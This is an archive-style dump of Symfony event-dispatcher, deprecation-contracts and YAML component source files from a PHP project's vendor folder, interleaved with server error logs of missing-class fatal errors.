/home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/RegisterListenersPass.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/RegisterListenersPass.php on line 26 [19-Nov-2025 11:02:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/AddEventAliasesPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/AddEventAliasesPass.php on line 22 [19-Nov-2025 11:51:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/RegisterListenersPass.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/RegisterListenersPass.php on line 26 [25-Nov-2025 03:04:09 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/RegisterListenersPass.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/RegisterListenersPass.php on line 26 [25-Nov-2025 05:30:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/AddEventAliasesPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/AddEventAliasesPass.php on line 22 [26-Nov-2025 02:03:34 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/RegisterListenersPass.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/RegisterListenersPass.php on line 26 [26-Nov-2025 02:07:48 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/AddEventAliasesPass.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/event-dispatcher/DependencyInjection/AddEventAliasesPass.php on line 22 event-dispatcher/DependencyInjection/AddEventAliasesPass.php000064400000002173151113512210020261 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\EventDispatcher\DependencyInjection; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; /** * This pass allows bundles to extend the list of event aliases. * * @author Alexander M. Turek */ class AddEventAliasesPass implements CompilerPassInterface { private array $eventAliases; public function __construct(array $eventAliases) { $this->eventAliases = $eventAliases; } public function process(ContainerBuilder $container): void { $eventAliases = $container->hasParameter('event_dispatcher.event_aliases') ? $container->getParameter('event_dispatcher.event_aliases') : []; $container->setParameter( 'event_dispatcher.event_aliases', array_merge($eventAliases, $this->eventAliases) ); } } event-dispatcher/CHANGELOG.md000064400000005535151113512210011622 0ustar00CHANGELOG ========= 6.0 --- * Remove `LegacyEventDispatcherProxy` 5.4 --- * Allow `#[AsEventListener]` attribute on methods 5.3 --- * Add `#[AsEventListener]` attribute for declaring listeners on PHP 8 5.1.0 ----- * The `LegacyEventDispatcherProxy` class has been deprecated. * Added an optional `dispatcher` attribute to the listener and subscriber tags in `RegisterListenerPass`. 5.0.0 ----- * The signature of the `EventDispatcherInterface::dispatch()` method has been changed to `dispatch($event, string $eventName = null): object`. * The `Event` class has been removed in favor of `Symfony\Contracts\EventDispatcher\Event`. * The `TraceableEventDispatcherInterface` has been removed. * The `WrappedListener` class is now final. 4.4.0 ----- * `AddEventAliasesPass` has been added, allowing applications and bundles to extend the event alias mapping used by `RegisterListenersPass`. * Made the `event` attribute of the `kernel.event_listener` tag optional for FQCN events. 4.3.0 ----- * The signature of the `EventDispatcherInterface::dispatch()` method should be updated to `dispatch($event, string $eventName = null)`, not doing so is deprecated * deprecated the `Event` class, use `Symfony\Contracts\EventDispatcher\Event` instead 4.1.0 ----- * added support for invokable event listeners tagged with `kernel.event_listener` by default * The `TraceableEventDispatcher::getOrphanedEvents()` method has been added. * The `TraceableEventDispatcherInterface` has been deprecated. 4.0.0 ----- * removed the `ContainerAwareEventDispatcher` class * added the `reset()` method to the `TraceableEventDispatcherInterface` 3.4.0 ----- * Implementing `TraceableEventDispatcherInterface` without the `reset()` method has been deprecated. 3.3.0 ----- * The ContainerAwareEventDispatcher class has been deprecated. Use EventDispatcher with closure factories instead. 3.0.0 ----- * The method `getListenerPriority($eventName, $listener)` has been added to the `EventDispatcherInterface`. * The methods `Event::setDispatcher()`, `Event::getDispatcher()`, `Event::setName()` and `Event::getName()` have been removed. The event dispatcher and the event name are passed to the listener call. 2.5.0 ----- * added Debug\TraceableEventDispatcher (originally in HttpKernel) * changed Debug\TraceableEventDispatcherInterface to extend EventDispatcherInterface * added RegisterListenersPass (originally in HttpKernel) 2.1.0 ----- * added TraceableEventDispatcherInterface * added ContainerAwareEventDispatcher * added a reference to the EventDispatcher on the Event * added a reference to the Event name on the event * added fluid interface to the dispatch() method which now returns the Event object * added GenericEvent event class * added the possibility for subscribers to subscribe several times for the same event * added ImmutableEventDispatcher deprecation-contracts/README.md000064400000002250151113512220012306 0ustar00Symfony Deprecation Contracts ============================= A generic function and convention to trigger deprecation notices. This package provides a single global function named `trigger_deprecation()` that triggers silenced deprecation notices. By using a custom PHP error handler such as the one provided by the Symfony ErrorHandler component, the triggered deprecations can be caught and logged for later discovery, both on dev and prod environments. The function requires at least 3 arguments: - the name of the Composer package that is triggering the deprecation - the version of the package that introduced the deprecation - the message of the deprecation - more arguments can be provided: they will be inserted in the message using `printf()` formatting Example: ```php trigger_deprecation('symfony/blockchain', '8.9', 'Using "%s" is deprecated, use "%s" instead.', 'bitcoin', 'fabcoin'); ``` This will generate the following message: `Since symfony/blockchain 8.9: Using "bitcoin" is deprecated, use "fabcoin" instead.` While not recommended, the deprecation notices can be completely ignored by declaring an empty `function trigger_deprecation() {}` in your application. deprecation-contracts/LICENSE000064400000002054151113512220012036 0ustar00Copyright (c) 2020-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. deprecation-contracts/composer.json000064400000001511151113512220013550 0ustar00{ "name": "symfony/deprecation-contracts", "type": "library", "description": "A generic function and convention to trigger deprecation notices", "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1" }, "autoload": { "files": [ "function.php" ] }, "minimum-stability": "dev", "extra": { "branch-alias": { "dev-main": "3.4-dev" }, "thanks": { "name": "symfony/contracts", "url": "https://github.com/symfony/contracts" } } } deprecation-contracts/function.php000064400000001766151113512220013400 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (!function_exists('trigger_deprecation')) { /** * Triggers a silenced deprecation notice. * * @param string $package The name of the Composer package that is triggering the deprecation * @param string $version The version of the package that introduced the deprecation * @param string $message The message of the deprecation * @param mixed ...$args Values to insert in the message using printf() formatting * * @author Nicolas Grekas */ function trigger_deprecation(string $package, string $version, string $message, mixed ...$args): void { @trigger_error(($package || $version ? "Since $package $version: " : '').($args ? vsprintf($message, $args) : $message), \E_USER_DEPRECATED); } } deprecation-contracts/CHANGELOG.md000064400000000235151113512220012641 0ustar00CHANGELOG ========= The changelog is maintained for all Symfony contracts at the following URL: https://github.com/symfony/contracts/blob/main/CHANGELOG.md yaml/Unescaper.php000064400000006064151113512220010143 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml; use Symfony\Component\Yaml\Exception\ParseException; /** * Unescaper encapsulates unescaping rules for single and double-quoted * YAML strings. * * @author Matthew Lewinski * * @internal */ class Unescaper { /** * Regex fragment that matches an escaped character in a double quoted string. */ public const REGEX_ESCAPED_CHARACTER = '\\\\(x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|U[0-9a-fA-F]{8}|.)'; /** * Unescapes a single quoted string. * * @param string $value A single quoted string */ public function unescapeSingleQuotedString(string $value): string { return str_replace('\'\'', '\'', $value); } /** * Unescapes a double quoted string. * * @param string $value A double quoted string */ public function unescapeDoubleQuotedString(string $value): string { $callback = fn ($match) => $this->unescapeCharacter($match[0]); // evaluate the string return preg_replace_callback('/'.self::REGEX_ESCAPED_CHARACTER.'/u', $callback, $value); } /** * Unescapes a character that was found in a double-quoted string. * * @param string $value An escaped character */ private function unescapeCharacter(string $value): string { return match ($value[1]) { '0' => "\x0", 'a' => "\x7", 'b' => "\x8", 't' => "\t", "\t" => "\t", 'n' => "\n", 'v' => "\xB", 'f' => "\xC", 'r' => "\r", 'e' => "\x1B", ' ' => ' ', '"' => '"', '/' => '/', '\\' => '\\', // U+0085 NEXT LINE 'N' => "\xC2\x85", // U+00A0 NO-BREAK SPACE '_' => "\xC2\xA0", // U+2028 LINE SEPARATOR 'L' => "\xE2\x80\xA8", // U+2029 PARAGRAPH SEPARATOR 'P' => "\xE2\x80\xA9", 'x' => self::utf8chr(hexdec(substr($value, 2, 2))), 'u' => self::utf8chr(hexdec(substr($value, 2, 4))), 'U' => self::utf8chr(hexdec(substr($value, 2, 8))), default => throw new ParseException(sprintf('Found unknown escape character "%s".', $value)), }; } /** * Get the UTF-8 character for the given code point. */ private static function utf8chr(int $c): string { if (0x80 > $c %= 0x200000) { return \chr($c); } if (0x800 > $c) { return \chr(0xC0 | $c >> 6).\chr(0x80 | $c & 0x3F); } if (0x10000 > $c) { return \chr(0xE0 | $c >> 12).\chr(0x80 | $c >> 6 & 0x3F).\chr(0x80 | $c & 0x3F); } return \chr(0xF0 | $c >> 18).\chr(0x80 | $c >> 12 & 0x3F).\chr(0x80 | $c >> 6 & 0x3F).\chr(0x80 | $c & 0x3F); } } yaml/Resources/bin/yaml-lint000064400000002342151113512230012054 0ustar00#!/usr/bin/env php * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if ('cli' !== \PHP_SAPI) { throw new Exception('This script must be run from the command line.'); } /** * Runs the Yaml lint command. * * @author Jan Schädlich */ use Symfony\Component\Console\Application; use Symfony\Component\Yaml\Command\LintCommand; function includeIfExists(string $file): bool { return file_exists($file) && include $file; } if ( !includeIfExists(__DIR__ . '/../../../../autoload.php') && !includeIfExists(__DIR__ . '/../../vendor/autoload.php') && !includeIfExists(__DIR__ . '/../../../../../../vendor/autoload.php') ) { fwrite(STDERR, 'Install dependencies using Composer.'.PHP_EOL); exit(1); } if (!class_exists(Application::class)) { fwrite(STDERR, 'You need the "symfony/console" component in order to run the Yaml linter.'.PHP_EOL); exit(1); } (new Application())->add($command = new LintCommand()) ->getApplication() ->setDefaultCommand($command->getName(), true) ->run() ; yaml/Yaml.php000064400000005601151113512230007115 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml; use Symfony\Component\Yaml\Exception\ParseException; /** * Yaml offers convenience methods to load and dump YAML. * * @author Fabien Potencier * * @final */ class Yaml { public const DUMP_OBJECT = 1; public const PARSE_EXCEPTION_ON_INVALID_TYPE = 2; public const PARSE_OBJECT = 4; public const PARSE_OBJECT_FOR_MAP = 8; public const DUMP_EXCEPTION_ON_INVALID_TYPE = 16; public const PARSE_DATETIME = 32; public const DUMP_OBJECT_AS_MAP = 64; public const DUMP_MULTI_LINE_LITERAL_BLOCK = 128; public const PARSE_CONSTANT = 256; public const PARSE_CUSTOM_TAGS = 512; public const DUMP_EMPTY_ARRAY_AS_SEQUENCE = 1024; public const DUMP_NULL_AS_TILDE = 2048; public const DUMP_NUMERIC_KEY_AS_STRING = 4096; /** * Parses a YAML file into a PHP value. * * Usage: * * $array = Yaml::parseFile('config.yml'); * print_r($array); * * @param string $filename The path to the YAML file to be parsed * @param int $flags A bit field of PARSE_* constants to customize the YAML parser behavior * * @throws ParseException If the file could not be read or the YAML is not valid */ public static function parseFile(string $filename, int $flags = 0): mixed { $yaml = new Parser(); return $yaml->parseFile($filename, $flags); } /** * Parses YAML into a PHP value. * * Usage: * * $array = Yaml::parse(file_get_contents('config.yml')); * print_r($array); * * * @param string $input A string containing YAML * @param int $flags A bit field of PARSE_* constants to customize the YAML parser behavior * * @throws ParseException If the YAML is not valid */ public static function parse(string $input, int $flags = 0): mixed { $yaml = new Parser(); return $yaml->parse($input, $flags); } /** * Dumps a PHP value to a YAML string. * * The dump method, when supplied with an array, will do its best * to convert the array into friendly YAML. * * @param mixed $input The PHP value * @param int $inline The level where you switch to inline YAML * @param int $indent The amount of spaces to use for indentation of nested nodes * @param int $flags A bit field of DUMP_* constants to customize the dumped YAML string */ public static function dump(mixed $input, int $inline = 2, int $indent = 4, int $flags = 0): string { $yaml = new Dumper($indent); return $yaml->dump($input, $inline, 0, $flags); } } yaml/README.md000064400000000704151113512230006760 0ustar00Yaml Component ============== The Yaml component loads and dumps YAML files. Resources --------- * [Documentation](https://symfony.com/doc/current/components/yaml.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) yaml/LICENSE000064400000002054151113512230006506 0ustar00Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. yaml/Command/LintCommand.php000064400000023465151113512230012006 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml\Command; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\CI\GithubActionReporter; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Style\SymfonyStyle; use Symfony\Component\Yaml\Exception\ParseException; use Symfony\Component\Yaml\Parser; use Symfony\Component\Yaml\Yaml; /** * Validates YAML files syntax and outputs encountered errors. * * @author Grégoire Pineau * @author Robin Chalas */ #[AsCommand(name: 'lint:yaml', description: 'Lint a YAML file and outputs encountered errors')] class LintCommand extends Command { private Parser $parser; private ?string $format = null; private bool $displayCorrectFiles; private ?\Closure $directoryIteratorProvider; private ?\Closure $isReadableProvider; public function __construct(string $name = null, callable $directoryIteratorProvider = null, callable $isReadableProvider = null) { parent::__construct($name); $this->directoryIteratorProvider = null === $directoryIteratorProvider ? null : $directoryIteratorProvider(...); $this->isReadableProvider = null === $isReadableProvider ? null : $isReadableProvider(...); } /** * @return void */ protected function configure() { $this ->addArgument('filename', InputArgument::IS_ARRAY, 'A file, a directory or "-" for reading from STDIN') ->addOption('format', null, InputOption::VALUE_REQUIRED, sprintf('The output format ("%s")', implode('", "', $this->getAvailableFormatOptions()))) ->addOption('exclude', null, InputOption::VALUE_REQUIRED | InputOption::VALUE_IS_ARRAY, 'Path(s) to exclude') ->addOption('parse-tags', null, InputOption::VALUE_NEGATABLE, 'Parse custom tags', null) ->setHelp(<<%command.name% command lints a YAML file and outputs to STDOUT the first encountered syntax error. You can validates YAML contents passed from STDIN: cat filename | php %command.full_name% - You can also validate the syntax of a file: php %command.full_name% filename Or of a whole directory: php %command.full_name% dirname php %command.full_name% dirname --format=json You can also exclude one or more specific files: php %command.full_name% dirname --exclude="dirname/foo.yaml" --exclude="dirname/bar.yaml" EOF ) ; } protected function execute(InputInterface $input, OutputInterface $output): int { $io = new SymfonyStyle($input, $output); $filenames = (array) $input->getArgument('filename'); $excludes = $input->getOption('exclude'); $this->format = $input->getOption('format'); $flags = $input->getOption('parse-tags'); if (null === $this->format) { // Autodetect format according to CI environment $this->format = class_exists(GithubActionReporter::class) && GithubActionReporter::isGithubActionEnvironment() ? 'github' : 'txt'; } $flags = $flags ? Yaml::PARSE_CUSTOM_TAGS : 0; $this->displayCorrectFiles = $output->isVerbose(); if (['-'] === $filenames) { return $this->display($io, [$this->validate(file_get_contents('php://stdin'), $flags)]); } if (!$filenames) { throw new RuntimeException('Please provide a filename or pipe file content to STDIN.'); } $filesInfo = []; foreach ($filenames as $filename) { if (!$this->isReadable($filename)) { throw new RuntimeException(sprintf('File or directory "%s" is not readable.', $filename)); } foreach ($this->getFiles($filename) as $file) { if (!\in_array($file->getPathname(), $excludes, true)) { $filesInfo[] = $this->validate(file_get_contents($file), $flags, $file); } } } return $this->display($io, $filesInfo); } private function validate(string $content, int $flags, string $file = null): array { $prevErrorHandler = set_error_handler(function ($level, $message, $file, $line) use (&$prevErrorHandler) { if (\E_USER_DEPRECATED === $level) { throw new ParseException($message, $this->getParser()->getRealCurrentLineNb() + 1); } return $prevErrorHandler ? $prevErrorHandler($level, $message, $file, $line) : false; }); try { $this->getParser()->parse($content, Yaml::PARSE_CONSTANT | $flags); } catch (ParseException $e) { return ['file' => $file, 'line' => $e->getParsedLine(), 'valid' => false, 'message' => $e->getMessage()]; } finally { restore_error_handler(); } return ['file' => $file, 'valid' => true]; } private function display(SymfonyStyle $io, array $files): int { return match ($this->format) { 'txt' => $this->displayTxt($io, $files), 'json' => $this->displayJson($io, $files), 'github' => $this->displayTxt($io, $files, true), default => throw new InvalidArgumentException(sprintf('Supported formats are "%s".', implode('", "', $this->getAvailableFormatOptions()))), }; } private function displayTxt(SymfonyStyle $io, array $filesInfo, bool $errorAsGithubAnnotations = false): int { $countFiles = \count($filesInfo); $erroredFiles = 0; $suggestTagOption = false; if ($errorAsGithubAnnotations) { $githubReporter = new GithubActionReporter($io); } foreach ($filesInfo as $info) { if ($info['valid'] && $this->displayCorrectFiles) { $io->comment('OK'.($info['file'] ? sprintf(' in %s', $info['file']) : '')); } elseif (!$info['valid']) { ++$erroredFiles; $io->text(' ERROR '.($info['file'] ? sprintf(' in %s', $info['file']) : '')); $io->text(sprintf(' >> %s', $info['message'])); if (str_contains($info['message'], 'PARSE_CUSTOM_TAGS')) { $suggestTagOption = true; } if ($errorAsGithubAnnotations) { $githubReporter->error($info['message'], $info['file'] ?? 'php://stdin', $info['line']); } } } if (0 === $erroredFiles) { $io->success(sprintf('All %d YAML files contain valid syntax.', $countFiles)); } else { $io->warning(sprintf('%d YAML files have valid syntax and %d contain errors.%s', $countFiles - $erroredFiles, $erroredFiles, $suggestTagOption ? ' Use the --parse-tags option if you want parse custom tags.' : '')); } return min($erroredFiles, 1); } private function displayJson(SymfonyStyle $io, array $filesInfo): int { $errors = 0; array_walk($filesInfo, function (&$v) use (&$errors) { $v['file'] = (string) $v['file']; if (!$v['valid']) { ++$errors; } if (isset($v['message']) && str_contains($v['message'], 'PARSE_CUSTOM_TAGS')) { $v['message'] .= ' Use the --parse-tags option if you want parse custom tags.'; } }); $io->writeln(json_encode($filesInfo, \JSON_PRETTY_PRINT | \JSON_UNESCAPED_SLASHES)); return min($errors, 1); } private function getFiles(string $fileOrDirectory): iterable { if (is_file($fileOrDirectory)) { yield new \SplFileInfo($fileOrDirectory); return; } foreach ($this->getDirectoryIterator($fileOrDirectory) as $file) { if (!\in_array($file->getExtension(), ['yml', 'yaml'])) { continue; } yield $file; } } private function getParser(): Parser { return $this->parser ??= new Parser(); } private function getDirectoryIterator(string $directory): iterable { $default = fn ($directory) => new \RecursiveIteratorIterator( new \RecursiveDirectoryIterator($directory, \FilesystemIterator::SKIP_DOTS | \FilesystemIterator::FOLLOW_SYMLINKS), \RecursiveIteratorIterator::LEAVES_ONLY ); if (null !== $this->directoryIteratorProvider) { return ($this->directoryIteratorProvider)($directory, $default); } return $default($directory); } private function isReadable(string $fileOrDirectory): bool { $default = is_readable(...); if (null !== $this->isReadableProvider) { return ($this->isReadableProvider)($fileOrDirectory, $default); } return $default($fileOrDirectory); } public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { if ($input->mustSuggestOptionValuesFor('format')) { $suggestions->suggestValues($this->getAvailableFormatOptions()); } } private function getAvailableFormatOptions(): array { return ['txt', 'json', 'github']; } } yaml/Command/error_log000064400000001741151113512240010777 0ustar00[25-Nov-2025 05:27:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Command/LintCommand.php:37 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Command/LintCommand.php on line 37 [25-Nov-2025 23:06:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Command/LintCommand.php:37 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Command/LintCommand.php on line 37 [25-Nov-2025 23:06:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Command/LintCommand.php:37 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Command/LintCommand.php on line 37 yaml/Exception/ExceptionInterface.php000064400000000716151113512240013733 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml\Exception; /** * Exception interface for all exceptions thrown by the component. * * @author Fabien Potencier */ interface ExceptionInterface extends \Throwable { } yaml/Exception/ParseException.php000064400000006235151113512240013107 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml\Exception; /** * Exception class thrown when an error occurs during parsing. * * @author Fabien Potencier */ class ParseException extends RuntimeException { private ?string $parsedFile; private int $parsedLine; private ?string $snippet; private string $rawMessage; /** * @param string $message The error message * @param int $parsedLine The line where the error occurred * @param string|null $snippet The snippet of code near the problem * @param string|null $parsedFile The file name where the error occurred */ public function __construct(string $message, int $parsedLine = -1, string $snippet = null, string $parsedFile = null, \Throwable $previous = null) { $this->parsedFile = $parsedFile; $this->parsedLine = $parsedLine; $this->snippet = $snippet; $this->rawMessage = $message; $this->updateRepr(); parent::__construct($this->message, 0, $previous); } /** * Gets the snippet of code near the error. */ public function getSnippet(): string { return $this->snippet; } /** * Sets the snippet of code near the error. * * @return void */ public function setSnippet(string $snippet) { $this->snippet = $snippet; $this->updateRepr(); } /** * Gets the filename where the error occurred. * * This method returns null if a string is parsed. */ public function getParsedFile(): string { return $this->parsedFile; } /** * Sets the filename where the error occurred. * * @return void */ public function setParsedFile(string $parsedFile) { $this->parsedFile = $parsedFile; $this->updateRepr(); } /** * Gets the line where the error occurred. */ public function getParsedLine(): int { return $this->parsedLine; } /** * Sets the line where the error occurred. * * @return void */ public function setParsedLine(int $parsedLine) { $this->parsedLine = $parsedLine; $this->updateRepr(); } private function updateRepr(): void { $this->message = $this->rawMessage; $dot = false; if (str_ends_with($this->message, '.')) { $this->message = substr($this->message, 0, -1); $dot = true; } if (null !== $this->parsedFile) { $this->message .= sprintf(' in %s', json_encode($this->parsedFile, \JSON_UNESCAPED_SLASHES | \JSON_UNESCAPED_UNICODE)); } if ($this->parsedLine >= 0) { $this->message .= sprintf(' at line %d', $this->parsedLine); } if ($this->snippet) { $this->message .= sprintf(' (near "%s")', $this->snippet); } if ($dot) { $this->message .= '.'; } } } yaml/Exception/DumpException.php000064400000000707151113512240012740 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml\Exception; /** * Exception class thrown when an error occurs during dumping. * * @author Fabien Potencier */ class DumpException extends RuntimeException { } yaml/Exception/RuntimeException.php000064400000000745151113512240013460 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml\Exception; /** * Exception class thrown when an error occurs during parsing. * * @author Romain Neutron */ class RuntimeException extends \RuntimeException implements ExceptionInterface { } yaml/Exception/error_log000064400000016313151113512240011360 0ustar00[19-Nov-2025 22:23:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/ParseException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/ParseException.php on line 19 [19-Nov-2025 22:23:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Yaml\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/RuntimeException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/RuntimeException.php on line 19 [19-Nov-2025 22:35:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php on line 19 [19-Nov-2025 22:58:28 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/ParseException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/ParseException.php on line 19 [19-Nov-2025 23:07:11 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Yaml\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/RuntimeException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/RuntimeException.php on line 19 [19-Nov-2025 23:11:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php on line 19 [19-Nov-2025 23:17:43 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Yaml\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/RuntimeException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/RuntimeException.php on line 19 [19-Nov-2025 23:24:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/ParseException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/ParseException.php on line 19 [19-Nov-2025 23:27:16 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php on line 19 [19-Nov-2025 23:54:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/ParseException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/ParseException.php on line 19 [19-Nov-2025 23:56:01 